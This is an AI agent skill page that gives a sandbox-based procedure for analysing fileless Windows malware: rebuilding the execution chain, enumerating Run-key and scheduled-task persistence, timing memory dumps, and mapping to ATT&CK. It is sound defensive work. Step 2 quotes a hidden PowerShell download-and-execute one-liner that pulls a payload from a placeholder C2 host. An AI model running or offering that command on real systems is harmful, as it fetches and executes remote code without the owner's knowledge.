SuperAPI AI Directory

re-fileless

Security & auditing

View repository

Updated 10-15 21:34

About this skill

Fileless Malware Analysis

When to Use / When Not to Use

  • Use: sample does not touch disk (fileless) — in-memory execution, PowerShell download-and-execute, WMI/scheduled tasks, registry Run keys carrying the payload
  • Use: answer the three chains "how does the fileless payload get in, how does it execute, how does it persist"
  • Use: analysis where AV/EDR alerts only have behavioral and network signatures, with no file artifacts (connects with AMSI/ETW evasion countermeasures in [[re-evasion]])
  • Don't use: routine behavior analysis of a disk-dropped sample (that's [[re-behavior]]); pure script static decoding (that's [[re-script-deob]])
  • Don't use: analyzing only the payload itself without caring about the execution chain (go to [[re-binary-core]] / [[re-shellcode]])
  • Note: this skill is mainly Windows-focused (fileless/registry/WMI/scheduled tasks are all Windows ecosystem); the Linux/macOS counterparts (bash/python in-memory execution, LD_PRELOAD, systemd timer/crontab) follow the same "execution chain reconstruction" framework

Tool Preparation

Fileless analysis = dynamic execution + memory forensics + script decoding in three parallel tracks, all inside a sandbox ([[re-sandbox]] mandatory prerequisite, [[re-analyze/platform-tips]] highest principle). Verify all tools before use.

Dynamic Analysis Environment (Mandatory Prerequisite)

  • [[re-sandbox]]: VM snapshot + network isolation (INetSim / fake DNS / air-gapped) — fileless samples often call out in real time to download the next stage, so isolation must come first
  • [[re-tracing]]: system call/process behavior tracing (Windows procmon / Linux strace)
  • Verify: inside the sandbox ping 8.8.8.8 not reachable; procmon/strace can record sample process events

Memory Dumping and Extraction (linked with [[re-memdump]])

  • gcore (Linux) / procdump (Windows): default to dumping first, see the "direct read vs dump" decision table in [[re-analyze/platform-tips]]
  • Verify: gcore --help(installation see [[re-memdump]] tool preparation); on Windows, Sysinternals procdump (choco install sysinternals included in the suite)

PowerShell Analysis (linked with [[re-script-deob]])

  • pwsh: built into Windows; Linux: apt install powershell(Microsoft repo) or snap install powershell;macOS: brew install --cask powershell
  • Verify: pwsh --version; for static decoding details (-enc decoding, IEX chains, AST extraction) see [[re-script-deob]]

Sysinternals Suite (the workhorse for Windows behavior and persistence)

  • choco install sysinternals(procmon / Process Explorer / autoruns / procdump)
  • Verify: running Procmon64.exe as administrator can record events;autorunsc64.exe -a * -c can export all startup items
  • Supplement (optional): Sysmon (download from Microsoft's website) configured with ProcessCreate (event 1, records parent process + command line) and NetworkConnect (event 3)

Built-in Windows Commands (Zero Install)

  • reg query(Run keys),schtasks /query /fo csv /v(scheduled tasks),Get-WinEvent(PowerShell event 4104 ScriptBlock logging),netstat -ano(callbacks)
  • Linux/macOS side: ps -ef --forest、systemctl list-timers、crontab -l、cat /proc/<pid>/maps

Procedure

Execute in order; archive each step's artifacts (dumps/logs/reconstructed scripts) with sha256 + path ([[re-ioc]] evidence chain requirement).

  1. Identify fileless indicators (no disk drop/registry payload):

    • Input signal: AV/EDR alerts for "behavior detection, fileless"; after sandbox execution there is no new sample on disk but process behavior is abnormal; at the network layer, real-time downloads via powershell/rundll32 are observed
    • Static clues: the email/URL attachment is .ps1/.hta/.docm (script chain); the registry Run key or scheduled task points to a powershell/wscript/mshta command line rather than an exe path
    • Evidence collection: run in a sandbox ([[re-sandbox]]) → procmon records all file/registry/process activity → enable PowerShell ScriptBlock logging (event 4104) and module logging in advance → take a baseline dump with [[re-memdump]] before startup (see pitfall 2 for timing)
    • Determination: "fileless" = the payload does not land on disk or only briefly transits through %TEMP% — insufficient disk evidence does not mean there is no execution chain; memory and the command line are the main battlefield
  2. In-memory execution chain reconstruction (WMI/scheduled task/PowerShell download-and-execute):

    # PowerShell 下载执行(最典型)
    powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://c2/payload')"
    # 无文件执行的等价形式: rundll32 / mshta / regsvr32 加载脚本引擎
    # 还原方法: procmon 按进程树过滤(父→子),命令行逐个记录
    
    • Chain reconstruction order: entry point (macro/URL/email attachment) → downloader (PowerShell/WMI fetch) → decoding ([[re-script-deob]] layer-by-layer restoration) → in-memory injection (VirtualAlloc + WriteProcessMemory + CreateThread) or reflective loading of a .NET assembly
    • Walk each layer's command line: parent process PID → child process command line → accessed URL/registry key — one record per chain
    • WMI special case: wmic process call create "..." or WMI event subscription (__EventFilter/__EventConsumer pair) — the parent process is WmiPrvse.exe, and the command line is not in the normal process tree; use Get-CimInstance -Namespace root/subscription -ClassName __EventFilter and __EventConsumer to enumerate subscriptions, and correlate the process chain with Sysmon event 1
    • Scheduled task variant: schtasks /create ... registers a task whose Action is a powershell -enc string — the command line itself carries the payload; decoding it directly yields the next layer
  3. Registry/scheduled task persistence location:

    # 运行键(HKCU/HKLM Run 全家)
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
    reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /s
    # 计划任务(全量含隐藏项)
    schtasks /query /fo LIST /v
    # 自启动服务与 WMI 事件订阅(隐蔽持久化位)
    sc query type= all
    
    • autoruns one-stop: autorunsc64.exe -a * -c export all startup points, filter by "command lines containing powershell/wscript/mshta/URL" — a common trait of fileless persistence: the startup command is a script engine + remote URL/encoded string, not an exe path
    • Hidden scheduled task pitfall: malicious tasks often set hidden flags (SD delete permission//sc onlogon and no user-visible name) — you must /fo LIST /v export everything and compare manually; do not just look at the default list view
    • Timeline: align the registry key LastWriteTime with the task creation time and the alert time to corroborate the same intrusion
  4. In-memory payload extraction ([[re-memdump]] timing):

    • Golden window: on the download → decode → inject chain,after injection and before execution(VirtualAlloc returns + WriteProcessMemory completes, before CreateThread starts) — at this point memory contains the most complete plaintext payload
    • Operation: dynamic debugging ([[re-gdb]] / [[re-x64dbg]] breakpoint at the injection point) or prefer the default dump with [[re-memdump]] — after a full gcore dump, search by characteristics (MZ header/entropy blocks/script text)
    • Fileless script payload: search memory directly for script characteristics (IEX、FromBase64String、DownloadString, long base64 strings) → after extraction, restore with [[re-script-deob]]
    • Archive the extracted payload immediately with sha256, then see "when it will be released" — a payload released immediately after execution is gone once the timing is missed (see pitfall 2)
  5. Cross-reference with behavior analysis ([[re-behavior]]):

    • Hand off the reconstructed execution chain from steps 2-4 to [[re-behavior]] for behavior-side validation: process tree/injection/persistence inventory/network connections + ATT&CK mapping (T1059.001 PowerShell, T1055 process injection, T1547.001 registry Run keys, T1053.005 scheduled tasks)
    • Cross-validation points: ① Command-line evidence is consistent with behavior logs (who started whom, when injection occurred) ② In-memory payload is consistent with the downloaded network content (sha256 alignment) ③ Persistence location is consistent with restart behavior (re-run validation before snapshot restoration)
    • Output: complete execution chain (entry → download → decode → inject → persist) + payload sample (memory extract) + IOC (URL/domain/registry key/command-line pattern) → [[re-ioc]] writes YARA (memory signatures as the primary focus)

Cross-domain collaboration

  • [[re-sandbox]]: mandatory prerequisite for dynamic execution (the foundation for all execution steps in this skill)
  • [[re-tracing]]: process/API observation of the execution chain (procmon/strace)
  • [[re-memdump]]: in-memory payload extraction (default dump preferred, timing is key)
  • [[re-script-deob]]: layer-by-layer decoding of the PowerShell download-and-execute chain (called directly in steps 2/4 of this skill)
  • [[re-behavior]]: behavior-side cross-validation and ATT&CK mapping (step 5 of this skill)
  • [[re-evasion]]: AMSI/ETW bypass, anti-antivirus memory scan countermeasures (often layered onto fileless samples, see pitfall 4)
  • [[re-shellcode]]: pure code payloads extracted from memory (non-script form) are forwarded for dedicated shellcode analysis
  • [[re-netcap]] / [[re-protocol]]: C2 traffic capture and protocol reconstruction of the download-and-execute chain
  • [[re-ioc]]: IOC collection for fileless payloads (memory signatures/command-line patterns/registry keys)
  • Reference [[re-analyze/platform-tips]] top principle (sandbox by default) and the "direct read vs dump" decision table

Common pitfalls and traps

  • No disk artifacts making forensics difficult: Symptom—no sample file can be found on disk, the report says "no physical evidence," and the conclusion does not hold up; Cause—the payload stays entirely in memory/remote script/registry Run keys, and conventional file forensics cannot catch it; Countermeasure—baseline full [[re-memdump]] dump before execution + procmon/Sysmon records command lines and network + PowerShell enables 4104 logging; the conclusion should be based on memory evidence + command line + network traffic, and [[re-ioc]] collects memory hash-based signatures (same root cause as the fileless forensics pitfall in [[re-evasion]])
  • Timing of in-memory payload dump (released immediately after execution): Symptom—the payload cannot be found in the dmp, or only half of it is there; Cause—fileless payloads "execute after injection, release/self-delete after execution," and dumping too early (not yet decoded) or too late (already released) both fail to capture it; Countermeasure—choose the dump timing after injection and before execution (the golden window in step 4); dump once at multiple timings; save immediately upon seeing the complete payload ([[re-memdump]] pitfall: save immediately upon seeing decrypted data)
  • Multi-layered PowerShell obfuscation chain: Symptom—after unwrapping one layer there is another, and the more you unwrap the more there are; Cause—download-and-execute chains often stack multiple layers of encoding (base64 + concatenation + reversal + variable substitution); Countermeasure—decode layer by layer per [[re-script-deob]], archive and number each layer (layer_01 → layer_02...), re-run recognition after decoding, do not skip layers; replace IEX with Write-Host inside the sandbox to obtain the next layer
  • Antivirus memory scan countermeasures: Phenomenon — as soon as the sample is injected in the sandbox it disappears/behaves abnormally, and the complete execution chain cannot be observed; Cause — AV/EDR memory scanning or AMSI hits and removes the payload during injection/execution; Countermeasure — first confirm the adversarial point in the sandbox according to [[re-evasion]] (AMSI patch/memory scanning timing); if necessary, downgrade or disable AV in the sandbox and rerun (snapshot rollback), and note the validation environment in the conclusion